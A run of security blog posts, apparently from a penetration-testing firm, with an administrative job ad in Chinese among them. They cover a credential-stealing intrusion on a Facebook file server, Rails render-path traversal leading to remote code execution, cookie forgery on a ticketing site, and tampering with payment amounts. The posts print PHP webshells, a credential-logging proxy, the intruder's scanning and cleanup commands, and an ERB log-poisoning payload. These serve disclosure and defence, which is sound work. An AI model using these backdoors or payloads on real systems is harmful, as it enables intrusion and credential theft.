First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log
These error messages seemed to be caused by modifying codes online?

PHP error log ↑ PHP error log


I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.

Webshell on facebook server ↑ Webshell on facebook server

some contents of the files are as follows:

sshpass

Right, THAT sshpass
bN3d10Aw.php
<?php echo shell_exec($_GET['c']); ?>
uploader.php
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
d.php
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
sclient\_user\_class\_standard.inc
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); 
$retries = 0;
$max_retries = 100; 

// blah blah blah...

fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); 

// blah blah blah...

The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc

In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.

A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while

wget https://files.fb.com/courier/B3dKe9sQaa0L.log

logged password
↑ Logged passwords


From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)

And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login

  1. Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT
  2. All Facebook employees (@fb.com) used LDAP and authenticated by AD Server

I believe these logged credentials were real passwords and I GUESS they can access to services such as Mail OWA, VPN for advanced penetration…

In addition, this hacker might be careless:P

  1. The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log
  2. When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen


From access.log, every few days the hacker will clear all the credentials he logged

192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...


Packing files

cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files


Enumerating internal network architecture

dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...


Use ShellScript to scan internal network but forgot to redirect STDERR XD Port Scanning

Attempt to connect internal LDAP server

sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'


Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)

--20:38:09--  https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10--  https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10--  https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'

     0K ........                                              100% 1.17G=0s

20:38:10 (1.17 GB/s) - `-' saved [8902/8902]

--20:38:33--  (try:15)  https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51--  https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03--  https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.


Attempt to steal SSL Private Key

sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input


After checking the browser, the SSL certificate of files.fb.com was *.fb.com …

certificate of files.fb.com


Epilogue

After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD

Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September

the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.


Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P

Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )



Timeline

  • 2016/02/05 20:05 Provide vulnerability details to Facebook Security Team
  • 2016/02/05 20:08 Receive automatic response
  • 2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team
  • 2016/02/06 07:42 Receive response from Thomas that inspection is in progress
  • 2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD
  • 2016/02/13 Asking if there anything I should pay special attention to in blog post ?
  • 2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?
  • 2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?
  • 2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.
  • 2016/04/20 Receive response from Reginaldo about the forensics investigation is done

[已結束] DEVCORE 徵求行政出納人才

18 August 2015 at 16:00

(2015.9.16 已結束徵才)

戴夫寇爾即將要邁入第四個年頭,在過去的歲月中,我們推廣資安的重要性、強調安全開發。我們堅持提供最高品質的滲透測試服務,協助企業找出隱藏的資安威脅。我們也不斷精進技術,期許自己能成為全台灣第一的滲透測試團隊。

感謝這些年來業界朋友對我們的肯定與支持,戴夫寇爾得以茁壯,如今,我們還需要一位行政出納人才,我們渴望您的加入,做為戴夫寇爾穩定的力量。相關細節如下:

工作內容

  • 協助處理庶務性行政工作(接聽來電、收發、接待)
  • 負責合約管理、出缺考勤管理、帳務明細整理
  • 規劃、執行採購庶務
  • 應收應付款項與零用金管理
  • 銀行往來與一般款項收付作業
  • 協助主管執行相關業務

工作時間

10:00 - 18:00

工作地點

台北市中山區復興北路 168 號 10 樓
(捷運南京復興站,走路約三分鐘)

條件要求

  • 需有兩年以上相關工作經驗
  • 熟悉試算表,具獨立撰寫試算表公式能力
  • 習慣使用雲端服務,如:Google Drive, Dropbox 或其他

加分條件

  • 您使用過專案管理系統,如:Trello, Basecamp, Redmine 或其他
    您將會使用專案管理系統管理平日任務
  • 您是 MAC 使用者
    您未來的電腦會是 MAC,我們希望您越快順暢使用電腦越好
  • 您曾經做過行政相關職務,但對行政一職有一套自己的想法
    我們是新創公司,我們歡迎您挑戰既定的行政刻版印象
  • 您是生活駭客
    您不需要會寫程式,但您習慣觀察生活中的規律,並想辦法利用這些規律有效率的解決問題

工作環境

我們注重公司每個人的身心健康,所以:

  • 您會在一個開闊的辦公環境工作 DEVCORE ENV
  • 您會擁有一張 Aeron 人體工學椅 DEVCORE AERON
  • 每週補滿飲料(另有咖啡機)、零食,讓您保持心情愉快 DEVCORE DRINK
  • 公司提供飛鏢機讓您發洩對主管的怨氣 DEVCORE DART

員工福利

  • 第一年即有特休(照比例),每年度五天全薪病假
  • 三節、生日禮金
  • 每季員工聚餐
  • 每年員工旅遊
  • 每年員工健檢
  • 勞保、健保、勞退
  • 定期專人按摩服務

薪資待遇

新台幣 32,000 - 40,000 (保證 14 個月)

應徵方式

請來信將您的履歷以 PDF 格式寄到 [email protected],標題格式如下:
[應徵] 行政出納專員 (您的姓名)

我們會在兩週內主動與您聯繫。審查方式會有書審、線上測驗以及面試三個階段。最快將於九月初開始進行第二階段測試,煩請耐心等候。
履歷請控制在兩頁以內,需包含以下內容:

  • 基本資料
  • 學歷
  • 工作經歷
  • 社群活動經驗
  • 特殊事蹟
  • MBTI 職業性格測試結果(請自行尋找線上測驗測試)

請參考範例示意(DOCPAGESPDF)並轉成 PDF。
若您有自信,也可以自由發揮最能呈現您能力的履歷。

附註

由於最近業務較為忙碌,若有應徵相關問題,請一律使用 Email 聯繫,造成您的不便請見諒。


我們選擇優先在部落格公布徵才資訊,是希望您也對安全議題感興趣,即使不懂技術也想為台灣資安盡一點力。如果您除了處理基本事務外還有更多想法,也歡迎與我們聯繫,我們會保留給您發揮的空間與調升薪水。

無論如何,我們都感謝您的來信,期待您的加入!

Rails 動態樣板路徑的風險

23 July 2015 at 16:00

前言

從安全開發的角度來看,Ruby on Rails 是一套很友善的框架。它從框架層避免了很多過去網站常出現的安全問題,例如使用 ORM 避免大部分的 SQL injection 問題、有內建的 authenticity_token 讓開發者不必特別煩惱 CSRF、從機制面規定開發者使用 Strong Parameter 避免 Mass Assignment、預設轉化危險字元避免 XSS 等…。

就我們過去滲透測試的經驗來說,Rails 網站雖然還是能找到問題,但相對問題較少,而且很少單純因為 Rails 寫法問題拿到系統操作權。而今天要分享的,是在一次滲透測試中比較特別的例子,因為開發者使用了動態樣板路徑(Dynamic Render Paths)的寫法1,最後造成了嚴重的結果。

動態樣板路徑,OWASP 的介紹是這樣的:

In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.

Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.

OWASP 是說,如果你的樣板路徑是動態產生的,而且使用者可以控制那個樣板路徑,那麼使用者就可以讀取到任意樣板,包含管理介面的樣板。這樣的描述感覺還好,但就我們的發現,這其實是更嚴重的直接存取物件問題(Insecure Direct Object References),甚至有機會造成遠端命令執行(Remote Code Execution),怎麼說呢?我們直接看下去。

基本細節

一個動態樣板路徑的寫法如下:

# app/controllers/welcome_controller.rb
class WelcomeController < ApplicationController
  def index
    page = params[:page] || 'index'
    render page
  end
end

而 index 的樣板內容是這樣:

<!-- app/views/welcome/index.html.erb -->
This is INDEX page.

另外建一個 demo 樣板做示意:

<!-- app/views/welcome/demo.html.erb -->
This is DEMO page.

實際測試,如果我們連到 WelcomeController 的 index action,不帶任何參數會讀取 index 模版。

Rails render index view

如果帶參數 page=demo,會讀取到 demo 模版。

Rails render demo view

所以,如果我們知道管理介面的模版路徑,送出路徑參數就可以讀取到管理介面。這就是 OWASP 所描述的風險,攻擊者得以讀取任意模版。

Rails render admin view

然而,當我們嘗試送出系統絕對路徑例如 /etc/passwd 2,網頁竟然吐出了 /etc/passwd 的內容!這就是之前所述的直接存取物件問題,可以遍歷目錄瀏覽檔案。

Rails render Insecure Direct Object References

進階攻擊

通常在 Rails 環境下能夠讀取任意檔案,攻擊者會優先尋找 secret_token,目的是變造惡意 session cookie 利用 Marshal serialize 的問題做 RCE。然而在本案例系統使用了 Rails 4.1 後的版本,Rails 4.1 預設使用了 JSON-based 的 serializer 防止了之前的 RCE 問題,所以並沒有辦法輕鬆利用。

為了取得系統操作權,我們嘗試尋找其他可利用的地方。在這邊我們發現了該站系統 production.log 中存在 AWS 的上傳紀錄。如下:

# log/production.log
INFO -- : [AWS S3 200 0.041347 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"image/png",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_001")

於是我們可以利用上傳檔案的 Content-Type 內容,將 Embedded Ruby 語句 <%=`#{params[:devcore]}`%> 添加到 production.log 檔案裡面。於是 log 的內容變成了下面這樣:

# log/production.log
INFO -- : [AWS S3 200 0.041347 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"image/png",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_001")

INFO -- : [AWS S3 200 0.040211 0 retries] put_object(:acl=>:public_read,:bucket_name=>"xxxx",:content_length=>12405,:content_type=>"<%=`#{params[:devcore]}`%>",:data=>#<File:/Users/shaolin/project/playground/rails/render/public/uploads/tmp/test_upload.png (12405 bytes)>,:key=>"upload_002")

接著,我們就可以利用前面的弱點讀取 production.log 檔案,再帶一個 devcore 參數作為指令,如圖,成功取得系統操作權 :p

Rails render Remote Code Execution

風險原因

一般來說 Rails 開發並不太會這樣寫,但稍微搜尋一下 Github 還是能發現這種寫法存在一些專案中。我想主要原因多半是開發者想要偷懶,然後也可能想說動態樣板路徑頂多就被看到面板的 html,無傷大雅。誰知道就因為這樣導致整個程式碼內容被讀取。

若有一個 action 要動態顯示不同模版的需求,為了避免上述的問題,就辛苦點先用 case…when 去判斷吧。這跟不要用字串組 SQL 語句避免 SQL injection 一樣,這種外面傳進來的參數都要謹慎處理的觀念要內化在開發中。

除了開發者基本上不應該這樣開發外,Rails 本身也有一點點問題,當 render 路徑沒有副檔名,無法判斷什麼格式時,就會直接採用預設的 template handler。

# lib/action_view/template/resolver.rb
def extract_handler_and_format_and_variant(path, default_formats)
  pieces = File.basename(path).split(".")
  pieces.shift

  extension = pieces.pop
  unless extension
    message = "The file #{path} did not specify a template handler. The default is currently ERB, " \
              "but will change to RAW in the future."
    ActiveSupport::Deprecation.warn message
  end

  handler = Template.handler_for_extension(extension)
  format, variant = pieces.last.split(EXTENSIONS[:variants], 2) if pieces.last
  format  &&= Template::Types[format]

  [handler, format, variant]
end

而這裡預設的 handler 是 ERB(見 register_default_template_handler),所以有本篇後面提到的進階攻擊,可以被利用來 RCE。

# lib/action_view/template/handlers.rb
def self.extended(base)
  base.register_default_template_handler :erb, ERB.new
  base.register_template_handler :builder, Builder.new
  base.register_template_handler :raw, Raw.new
  base.register_template_handler :ruby, :source.to_proc
end

慶幸的是,目前 Rails 已經把預設的 template handler 從 ERB 改成 RAW,不會輕易把要 render 的檔案當成 ERB 執行了。詳細的內容請參考這個 commit

結論

Ruby on Rails 能讓開發者較輕鬆的開發出安全的應用程式,然而,若開發者不注意,還是有可能寫出嚴重的漏洞。本文的動態樣板路徑就是這樣一個例子,它不只是 OWASP 所描述的可以存取任意模版而已,它可以遍歷檔案,甚至因為 rails 預設的 template handler 是 ERB,造成遠端命令執行讓攻擊者取得伺服器操作權。

這個例子又再次驗證,框架可以幫助大家快速開發,增加安全度。但唯有良好的安全意識,才是應用程式安全的基石。

註解

  1. Dynamic Render Paths 目前並沒有中文翻譯,因為問題之精髓在於要產生的樣板路徑是可變動的,因此筆者認為動態樣板路徑這個翻譯較為貼切。 

  2. 筆者測試的環境為 Rails 4.1.4,其他 Rails 版本有可能需要用 ../../../../../etc/passwd 跳脫目前目錄。 

談 Cookie 認證安全-以宏碁雲端售票為例

29 January 2015 at 16:00

前言

Cookie 是開發網頁應用程式很常利用的東西,它是為了解決 HTTP stateless 特性但又需要有互動而產生的。開發者想把什麼資訊暫存在用戶瀏覽器都可以透過 Cookie 來完成,只要資訊量不大於約 4KB 的限制就沒問題。在這樣的空間裡,可以放購物車內的暫存商品、可以儲存讀者閱讀記錄以精準推薦產品、當然也可以寫入一些認證資訊讓使用者能保持登入狀態。

Cookie 有一些先天上的缺點,在於資料是儲存在瀏覽器端,而使用者是可以任意修改這些資料的。所以如果網站的使用者身分認證資訊依賴 Cookie,偷偷竄改那些認證資訊,也許有機會能夠欺騙網站,盜用他人身分,今天就來談談這樣的一件事情吧!

問題與回報

會想要聊這個議題,主要是因為最近很紅的宏碁雲端售票系統就是採用 Cookie 認證。上週在註冊該網站時看了一下 Cookie,發現該網站沒有使用 Session 機制的跡象,也就是單純利用 Cookie 的值來認證。

宏碁雲端 cookie

於是開始好奇認證主要的依據是什麼?從圖中可以看到 Cookie 值並不多,猜測該網站大概會是看 USER_ID、USER_ACCOUNT 來判斷你是哪個使用者,稍作測試後會發現有些頁面只依據 USER_ACCOUNT 的值來確認身分,而 USER_ACCOUNT 這個值其實就是使用者的身分證字號,也就是說任何人只要跟網站說我的身分證字號是什麼,網站就會認為你是那個身分證字號的使用者。利用這點設計上的小瑕疵,就可以竊取他人個資,更進階一點,甚至可以用來清空別人的志願單讓其他使用者買不到票。

發現這個問題後,決定通報 VulReport 漏洞回報平台,由該平台統一通知開發商。這是我第一次使用這個平台,對我而言這是一個方便且對整體資安環境有助益的平台。方便點在於,過去常常困擾於發現一些網站有設計上的疏失卻不知該不該通報,如果認識該網站的開發者倒是還好可以直接講,但對於其他不認識的,一來沒有明確窗口,二來礙於工作關係怕被認為是敲竹槓,所以影響不大的漏洞可能就放水流了。這樣放任其實不是一件健康的事情,漏洞在風險就在,有了這樣的回報平台至少可以告訴企業可能存在風險,自己也可以放心通報。事實上,對岸有類似的平台已經行之有年,最顯著的效果,就是對岸網站在 0 day 被揭露後能在一週左右全國修復,而以往可能好多年過去了漏洞還在。這真的能夠加速保護企業和使用者,很高興台灣也有了這樣的平台!

昨天早上收到了平台回報宏碁雲端售票已經修復的消息,既然已經修復且公開了,就順便講解這個問題的細節吧!希望其他開發者可以從中體會到攻擊者的思維,進而做洽當的防禦。

驗證及危害

為了方便驗證解說這個問題,這邊特別用兩個不存在的身分證字號在宏碁雲端售票申請帳號,分別是 Z288252522 和 Z239398899。測試目的是登入帳號 Z288252522 後看看是否能利用上述 Cookie 問題讀取 Z239398899 的個資。

首先登入帳號 Z288252522,找到一個會回傳個資的頁面:
https://www.jody-ticket.com.tw/UTK0196_.aspx

第一個使用者個資

此時的 Cookie 值如下

第一個使用者 cookie

從圖中發現 Cookie 的值其實是經過加密的,這點在上面說明攻擊觀念時刻意沒有提及。把 Cookie 值加密是一種防止別人修改 Cookie 值的方式,攻擊者不知道 Cookie 值的內容,自然也無法修改了。

然而這樣做還是存在些微風險,一旦這個加解密方式被找到,攻擊者就得以修改 Cookie 內容,進而盜用別人身分。在本例中,若想憑著改變 Cookie 盜用別人身分其實可以不用花時間去解加密法,這裡有一個小 trick,我們從觀察中馬上就能發現所有 Cookie 值都是用同一套加密方式,而且其中 USER_EMAIL、USER_NAME 這些還是我們可以修改的值。這也意味著如果我們把姓名改成我們想要加密的身分證字號,伺服器就會回傳一個加密好的值給 USER_NAME。我們直接來修改姓名看看:

修改姓名成身分證字號

當姓名改成目標 Z239398899 時,Cookie 中的 USER_NAME 值就會改變成我們要的加密結果。耶!是一種作業不會寫找出題老師幫忙寫的概念 XD

改變第一個使用者 cookie

接著直接把 USER_NAME 的值拿來用,複製貼上到目標欄位 USER_ACCOUNT 中,之後就是以 Z239398899 的身分來讀取網頁了。我們再讀取一次 https://www.jody-ticket.com.tw/UTK0196_.aspx 看看:

第二個使用者個資

成功看到 Z239398899 的資料了!如此,就可以只憑一個身分證字號讀到他人的地址電話資訊,甚至可以幫別人搶票或取消票券。這個流程寫成程式後只要兩個 request 就可以嘗試登入一個身分證字號,要大量偷取會員個資也是可行的了。

說到這邊,也許有人會質疑要猜中註冊帳戶的身分證字號是有難度的,但其實要列舉出全台灣可能在使用的身分證字號並不困難,再加上宏碁雲端的硬體其實是很不錯的,事實也證明它能夠在短時間處理四千萬個請求系統仍保持穩定,只要攻擊者網路不要卡在自家巷子口,多機器多線程佈下去猜身分證字號效率應該很可觀!

建議原則

這次的問題是兩個弱點的組合攻擊:

  1. Cookie 加密的內容可解也可偽造-透過網站幫忙
  2. 功能缺少權限控管 (Missing Function Level Access Control)-部分頁面只憑身分證字號就可存取個資

宏碁雲端售票為了效率和分流,使用 Cookie 認證是相當合理的設計,所以要解決這個問題,從第二點來解決會是最有效且符合成本的方式,怎麼改呢?推測原本的 SQL 語句應該類似這樣:

select * from USER where account=USER_ACCOUNT

由於 USER_ACCOUNT 是身分證字號,容易窮舉,更嚴謹的作法可以多判斷一個 id,像是這樣:

select * from USER where account=USER_ACCOUNT and id=USER_ID

從只需要告訴伺服器身分證字號就回傳會員資料,到變成需要身分證字號和會員編號同時正確才會回傳會員資料,至此,攻擊者已經很難同時知道別人的會員編號和身分證字號了,因此大大降低了被猜中的機率,增加了安全性。

Cookie 一直以來都是 Web Application Security 領域的兵家必爭之地,攻擊者無不絞盡腦汁想偷到或偽造它,前陣子舉辦的 HITCON GIRLS Web 課堂練習題第一題就是改 Cookie 來偽造身分,足見這個問題有多基本和重要。

關於 Cookie,這裡提供一點原則和概念供大家參考:

首先,Cookie 是存在客戶端的,所以有機會被看到、被竄改、被其他人偷走。基於這些原因,不建議在 Cookie 中儲存機敏資料,或是存放會影響伺服器運作的重要參數,需評估一下這些暫存資料被人家看到或修改是不是沒差,這是儲存的原則。如果權衡後還是要在 Cookie 中存放重要資料,那就需要對值加密避免被讀改,而且要確保加密的強度以及其他人是否能透過其他方法解析修改。最後,Cookie 最常被偷走的方式是透過 JavaScript,所以建議在重要的 Cookie 加上 HttpOnly flag 能有效的降低被偷走的機率。也來試著整理一下這一小段的重點:

  • 機敏資料不要存
  • 加密資訊不可少
  • 設定標頭不怕駭
  • 一次搞定沒煩惱

沒想到信手拈來就是三不一沒有,前面再加個勾勾,感覺好像很厲害呢!

結論

由於 Cookie 存在瀏覽器端,有被竄改的可能,所以如果網站使用 Cookie 認證就會有一些安全上的風險。本篇就以宏碁雲端售票為例,說明這種小疏忽可能會造成被盜用帳號的風險。開發者在面對使用者可以改變的變數一定要特別小心處理,做好該有的防護,還是老話一句:使用者傳來的資料皆不可信!只要掌握這個原則,開發出來的產品就能夠少很多很多風險!

行文至此,預期中是要再推廣一下漏洞回報平台,順便稱讚宏碁非常重視資安,修復快速,是良好的正循環。不過前兩天看到一些關於宏碁雲端售票的新聞時,上線發現此弱點仍未修復,這好像真的有點不應該,畢竟官方上週已經接收到通報,要修復這個弱點也只需一行判斷式…。能理解這次的弱點在短時間開發過程中很難被注意到,對於這樣一個一週不眠不休完成的售票網站,我其實也是給予滿高的評價,但如果官方能再增兩分對資安事件的重視,相信下次定能以滿分之姿呈現在使用者面前!

從寬宏售票談資安

8 January 2015 at 16:00

戴夫寇爾部落格停載了快兩個月,非常抱歉,讓各位常常催稿的朋友們久等了 <(_ _)>
今天就乘著全臺瘋買票的浪頭,來談談一些常被忽略的資訊安全小概念吧!

江蕙引退演唱會一票難求,隔岸觀了兩天火, 也忍不住想要當個鍵盤孝子。無奈運氣不好一直連不上主機,『Service Unavailable』畫面看膩了,只好看看暫存頁面的網頁原始碼,不看還好,一看我驚呆了!

寬宏售票資訊洩漏 (特別聲明:此流程中並無任何攻擊行為,該頁面是正常購票流程中出現的網頁)

在結帳網頁原始碼當中竟然看到了疑似資料庫密碼 SqlPassWord 在表單裡面!這件事從資安的角度來看,除了表面上洩漏了資料庫密碼之外,還有兩個我想講很久但苦無機會談的資安議題,分別是金流串接常見的弱點以及駭客的心理。藉著寬宏售票網頁洩漏密碼這件事情,順道與大家分享分享吧!

談台灣網站的金流串接

在本篇的例子中,寬宏售票網頁表單出現了疑似資料庫密碼,這狀況就好像去銀行繳款,櫃檯給你一把鑰匙跟你說:『這是金庫的鑰匙,麻煩你到對面那個櫃檯把鑰匙給服務員,請他幫你把錢放進金庫裡面』。
是不是有點多此一舉,銀行本來就會有一份鑰匙,幹嘛要請你(瀏覽器)幫忙轉交?
如果今天壞人拿到了這把鑰匙,是不是只要繞過保全的視線,就可以打開金庫為所欲為?

key_to_success
(Photo by StockMonkeys.com)

類似的狀況也滿常發生在電子商務與第三方金流服務的串接上。
許多電子商務網站專注於商務,選擇將付款步驟委託第三方金流服務處理,一般常見的流程是這樣的:

  1. 電子商務訂單成立,電子商務網站給你一張單子,上面寫著:『訂單 123 號, 金額 456 元』,請你將單子轉交給第三方金流服務網站並繳款。
  2. 金流服務網站依據你給它的單據收取 456 元,並且跟電子商務網站說:『訂單 123 已成功繳款,款項 456 元』。
  3. 最後電子商務網站告訴你訂單 123 號購買成功。

如果現在有一個惡意使用者,他做了以下惡搞:

  1. 在步驟一把電子商務網站給的單子修改成:『訂單 123 號,金額 20 元』(原價是 456 元)
  2. 金流服務商依據單據跟惡意使用者收取 20 元費用,並且告訴電子商務網站:『訂單 123 已成功繳款,款項 20 元』
  3. 最後電子商務網站看到『訂單 123 已成功繳款』的訊息,就告訴使用者說訂單 123 購買成功。也就是惡意使用者只花取 20 元就購買到原價 456 元的產品。

(聲明:為求精簡,電子商務與金流服務串接流程有經過簡化,有抓到精髓就好XD)

不管是寬宏售票出現密碼欄位還是上例電子商務網站的金流串接,最大的問題在於他們都相信使用者會正常幫忙轉交,即靠客戶端的瀏覽器來轉址傳值。要知道,利用瀏覽器轉址傳值是不可靠的,一來,重要的資訊就會被客戶知道,例如寬宏售票疑似洩漏資料庫密碼;二來中間的內容可以修改,例如修改訂單金額。另外,可能有人會發現到,在惡意使用者的步驟三裡面,電子商務網站竟然沒有確認付款金額是否正確,沒錯,這是會發生的事情,在過去經驗中,像這樣沒有比對付款金額的台灣系統比例還不少,這些疏忽都會造成企業很多成本損失,不可不注意。

台灣目前還滿常見到這種根據使用者傳來單據來收費的狀況,導致單據可竄改造成企業損失,某部分原因可以歸咎到早期第三方金流的範例都是這樣寫的,工程師也就直接延續這樣的寫法直到現在。以金流串接為例,比較好的處理方式有下面兩種:

  • 在單據上加入防偽標記,讓惡意使用者無法輕易竄改單據。在技術上作法有點類似 OAuth 在 Signing Request 時的作法,在請求中多送一組檢查碼,透過 one-way hash 的方式檢查網址是否有被修改,目前大部分金流商都有提供相似解法。
  • 單據不再給使用者轉交,電子商務直接傳單子『訂單 123 號,金額 20 元』給金流服務網站,並請使用者直接去專屬的金流商窗口繳費即可。在技術上就是將瀏覽器轉址傳值的動作全部變成伺服器對伺服器溝通處理掉。

以上兩種作法,將可以有效防止惡意使用者修改訂單金額。此外,建議電子商務網站在收到金流回傳的付款資訊後,能夠比對收取款項與訂單款項是否相符,如此雙重檢查,能大大避免惡意行為,減少企業處理惡意金流問題的成本。

談駭客心理

很明顯的,寬宏售票洩漏密碼的狀況是工程師的小疏漏。在不知道資料庫確切位置的前提下,知道疑似資料庫密碼的東西確實也無法做什麼,頂多就是了解了一家公司制定密碼的策略。然而,看在駭客眼裡,這點疏失會代表著一個網站面對資安的態度。連顯而易見的問題都沒有注意,那後端程式應該也有可能出現漏洞。一旦駭客決定要攻擊這個網站,勢必會搬出比平常還要多的資源去嘗試,因為他們認為這個投資報酬率很高。

一般駭客基本上會不斷的從所看到的網頁資訊來調整自己攻擊的強度,如果他們不斷看到了奇怪的登入畫面:

寬宏售票登入頁面1

或是防火牆的登入畫面

寬宏售票登入頁面2

就很有可能會增加攻擊的力道。上面這種登入頁面就是就是一種常見的資訊洩漏,在今年台灣駭客年會的議程-「被遺忘的資訊洩漏」就提及了這類資訊洩漏在台灣是很普及的。注意,出現這樣的頁面並不意味著網站會有漏洞,只是網站容易因此多受到一些攻擊。反之,如果一個網站前端頁面寫的乾淨漂亮,甚至連 HTTP 安全 header 這種小細節都會注意到,駭客可能就會認為這個網站寫的很嚴謹,甚至連嘗試的慾望都沒有了。

一個經驗豐富的駭客,通常光看首頁就能夠判斷該網站是否可能存有漏洞,憑藉的就是這些蛛絲馬跡。為了不讓自家網站常被路過的惡意使用者攻擊,加強網頁前端的呈現、網頁原始碼乾淨有架構、沒有太多資訊洩漏,這些都是很好的防禦方法。

結論

在使用最近熱門的寬宏售票網站時,我們發現網頁原始碼存在一些疑似密碼的資訊。從這件事情出發,我們分別延伸探討了兩個工程師應該注意的議題:

  • 第一個議題提醒大家在開發的時候,重要的資訊千萬不要透過客戶端瀏覽器幫忙轉送,記住客戶端都是不可信的,多經一手就多一分風險。文中舉出了台灣電商網站在金流串接時也常出現這樣的問題,可能會造成訂單金額被竄改等企業會有所損失的問題。
  • 第二個議題從駭客的心理來談資安,一個網站如果沒有什麼保護機制、輕易的洩漏網站資訊,非常容易挑起駭客想要嘗試入侵的慾望;反之,若一個網站從前端到使用流程都非常注意細節,一般駭客較會興致缺缺。嚴謹的前端呈現,就某種程度來說,也是一種對自身網站的保護。

